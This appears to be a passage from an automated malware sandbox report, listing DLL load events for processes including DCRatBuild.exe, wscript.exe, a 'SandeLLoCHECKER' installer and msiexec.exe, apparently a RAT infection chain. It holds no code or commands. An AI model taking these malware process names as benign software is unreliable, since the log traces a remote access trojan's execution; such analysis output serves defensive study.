Source: C:\Users\user\Desktop\gorkmTnChA.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: lpk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: msihnd.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: windows.ui.xaml.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: uiamanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: mrmcorer.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: uiautomationcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: windows.globalization.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: windows.ui.xaml.controls.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: directmanipulation.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Section loaded: threadpoolwinrt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
